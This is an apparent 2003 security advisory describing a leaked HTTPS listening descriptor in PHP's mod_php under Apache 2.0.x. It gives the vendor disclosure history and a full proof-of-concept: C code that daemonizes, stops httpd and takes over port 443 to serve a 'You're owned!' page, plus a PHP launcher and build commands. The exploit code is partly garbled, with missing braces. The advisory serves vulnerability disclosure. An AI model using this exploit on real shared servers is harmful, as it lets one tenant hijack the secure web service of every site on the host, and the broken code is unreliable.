Product:         PHP - mod_php
Versions:	 4.2.x, 4.3.x / apache 2.0.x
URL:		 http://www.php.net
Impact:          Daemon Hijacking
Bug class:       Leaked Descriptor
Vendor notified: Yes
Fix available:   No
Date:		 12/26/03


Issue:
======
Mod_php under apache 2.0.x leaks a critical file descriptor that can be used to takeover (hijack) the
 https service.


Details:
========
Because apache httpd and mod_php are inter-related, I
don't know if you would consider this an apache bug or
a mod_php bug. I've contacted each group and they both 
blame each other. Personally, I don't care whose fault 
it is so long as it gets fixed.

When using mod_php, many file descriptors are leaked to the php script process. If the script page ca
lls external programs by passthru(),
 exec(), or system(), the descriptors are leaked to that program as well.

One of these descriptors is the listening descriptor to port 443, also known as https. Port 443 is a 
privileged port and can only
 be bound to by a root process. It is not normal for that descriptor to be leaked to any or all progr
ams. As a side note, this descriptor
 seems to be opened by apache regardless of whether or not you use https.

The bug is caused by not making a call to fcntl with the CLOEXEC flag to prevent the leak of a privil
eged file descriptor. ( It really
 is a 1 line fix ! )


Impact:
=======
The listening descriptor is used by all sites on the same machine. If a person can ftp in an executab
le and has access to php, they
 may be able to hijack the https service for all sites on the machine. Sandboxing and jailing may not
 help since the descriptor itself
 is leaked to the child.

"Safe_mode = on" does not offer any protection for this 
problem if safe_mode_exec_dir points to a directory hat 
can be ftp'd to.


Exploit:
========
The technique is simple. 

1) Fork and daemonize yourself.
2) Select on the leaked descriptor and start serving pages.

At the end of this advisory is a proof-of-concept program that you can run under mod_php. It is assum
ed that paying customers can
 ftp anything they want into their website and mod_php scripting is enabled.

To see the problem first hand, compile the C code:

gcc -o leak-sploit leak-sploit.c -lssl
cp leak-sploit /var/www/html
cp install.php /var/www/html
cp foo-cert.pem /var/www/html

lynx http://localhost/install.php

Now, ps -ef to see how things are going:

root     18176     1  6 15:58 ?    00:00:01 /usr/sbin/httpd
apache   18180 18176  0 15:58 ?    00:00:00 /usr/sbin/httpd
apache   18181 18176  0 15:58 ?    00:00:00 /usr/sbin/httpd
apache   18182 18176  0 15:58 ?    00:00:00 /usr/sbin/httpd
apache   18183 18176  0 15:58 ?    00:00:00 /usr/sbin/httpd
apache   18184 18176  0 15:58 ?    00:00:00 /usr/sbin/httpd
apache   18191     1  0 15:58 ?    00:00:00 /var/www/html/leak-sploit

So far, so good...

lynx https://localhost
And you should see the "You're owned" message.

This was tested on a fully up2date Red Hat 8.0 & 9 system.


Solution:
=========
There is no vendor provided solution.

I filed http://bugs.php.net/bug.php?id=20302 on Nov 7, 2002. In retrospect, the bug report is not as 
detailed as I would like it to
 have been today, but no one from the php project seemed genuinely interested in investigating this p
roblem.

I also contacted the apache project in August 2002 about this same problem. In October 2002, I re-con
tacted them about leaked descriptors,
 they confirmed the problem. Feb 2003 the leaked file descriptors were reported by myself to vuln-dev
 mail list. The bug was partially
 fixed in apache 2.0.45. The 
mod_php vector however is still unfixed.

To see if you are vulnerable, you can use the env_audit program. It comes with directions for testing
 mod_php in the examples directory.

http://www.web-insights.net/env_audit


Best Regards,
Steve Grubb


The code................

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <openssl/ssl.h>

/*
 * The basic actions are like this:
 *      1) Become session leader
 *      2) Get rid of the parent (apache)
 *      3) Start handling requests
 */

#define LISTEN_DESCRIPTOR 4
#define CERTF "/var/www/html/foo-cert.pem"
#define KEYF  "/var/www/html/foo-cert.pem"

static SSL_CTX    *ctx;
static SSL        *ssl;
static X509       *client_cert;
static SSL_METHOD *meth;

static void server_loop(int descr);
static void ssl_init(void);

int main(int argc, char *argv[])
 
    /* Need to fork so apache doesn't kill us */
    if (fork() == 0) {
        /* Become session leader */
        setsid();
        sleep(2);

        /* just in case one was a controlling tty */
        close(0); close(1); close(2);
        ssl_init();
        server_loop(LISTEN_DESCRIPTOR);
    }
    else
    {
        sleep(1);
        system("/usr/sbin/httpd -k stop");
        sleep(1);
    }
    return 0;
 

static void server_loop(int descr)
 
    struct timeval   tv;
    fd_set read_mask ;

    FD_ZERO(&read_mask);
    FD_SET(descr, &read_mask);
    for (;;) {
        struct sockaddr_in remote;
        socklen_t len = sizeof(remote);
        int fd;

        if (select(descr+1, &read_mask, NULL, NULL, 0 ) == -1)
            continue;
        fd = accept(descr, &remote, &len);
        if (fd >=0) {
            char obuf[1024];
            if ((ssl = SSL_new (ctx)) != NULL) {
                SSL_set_fd (ssl, fd);
                SSL_set_accept_state(ssl);
                if ((SSL_accept (ssl)) == -1)
                        exit(1);

                strcpy(obuf, "HTTP/1.0 200 OK\n");
                strcat(obuf, "Content-Length: 40\n");
                strcat(obuf, "Content-Type: text/html\n\n");
                strcat(obuf, "<html><body>You're owned!</body></html>"
);
                SSL_write (ssl, obuf, strlen(obuf));
                SSL_set_shutdown(ssl,
                        SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
                SSL_free (ssl);
                ERR_remove_state(0);
            }
            close(fd);
        }
    }
    SSL_CTX_free (ctx);  /* Never gets called */
 

static void ssl_init(void)
 
        SSL_load_error_strings();
        SSLeay_add_ssl_algorithms();
        meth = SSLv23_server_method();
        ctx = SSL_CTX_new (meth);
        if (!ctx)
                exit(1);
        if (SSL_CTX_use_certificate_file(ctx, CERTF,
                        SSL_FILETYPE_PEM) <= 0)
                exit(1);
        if (SSL_CTX_use_PrivateKey_file(ctx, KEYF,
                        SSL_FILETYPE_PEM) <= 0)
                exit(1);
        if (!SSL_CTX_check_private_key(ctx))
                exit(1);
 


install.php.....

<html><head>
<title>leak-sploit for PHP 4.3</title>
</head>
<body>
    <?php
        print('Installing exploit.<br>');
        passthru("/var/www/html/leak-sploit");
    ?>
</body></html>